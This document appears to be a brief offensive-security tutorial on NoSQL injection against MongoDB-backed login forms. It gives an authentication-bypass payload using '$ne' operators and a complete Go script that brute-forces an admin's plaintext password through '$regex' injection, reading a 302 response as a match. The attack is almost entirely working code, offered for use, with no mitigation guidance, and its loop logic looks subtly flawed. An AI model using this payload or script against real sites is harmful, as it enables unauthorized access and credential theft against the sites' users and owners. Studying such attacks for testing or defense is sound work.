Bruteforce MongoDB Credentials with Regex Match Payload
If a login form is vulnerable to NoSQL injection attack, try bypassing authentication with a payload such as:
username[$ne]=foo&password[$ne]=foo
But explicit login credentials may be required for deeper system access.
When this injection vulnerability exists, a regex matching payload could also enumerate the full plaintext password.
Here is a Go script to bruteforce admin credentials on a login form that uses MongoDB as a backend. In this example, the script assumes unique HTTP response code of 302
when password regex is matched.
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
// Build a rune slice of printable ASCII characters, excluding some special characters that would break the regex
func buildPrintable() []rune {
var p []rune
for i := '0'; i <= '9'; i++ {
p = append(p, i)
}
for i := 'A'; i <= 'Z'; i++ {
p = append(p, i)
}
for i := 'a'; i <= 'z'; i++ {
p = append(p, i)
}
special := "~>][<>!@#%^()@_{}"
for _, c := range special {
p = append(p, c)
}
return p
}
// Post form data with URL-encoded payload
func makePostRequest(data string) int {
u := "http://vulnerable-site.com"
req, err := http.NewRequest("POST", u, strings.NewReader(data))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{
// Prevent redirects
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp, err := client.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
return resp.StatusCode
}
func buildPostData(victim, payload string) string {
data := url.Values{}
data.Set("username", victim)
data.Set("password[$regex]", payload+".*")
return data.Encode()
}
func main() {
printable := buildPrintable()
victim := "admin"
fmt.Printf("[*] Bruteforcing password for: %s\n", victim)
for _, a := range printable {
flag := string(a)
restart := true
for restart {
restart = false
for _, c := range printable {
payload := flag + string(c)
data := buildPostData(victim, payload)
statusCode := makePostRequest(data)
if statusCode == 302 {
fmt.Println(payload)
flag = payload
restart = true
}
}
}
}
}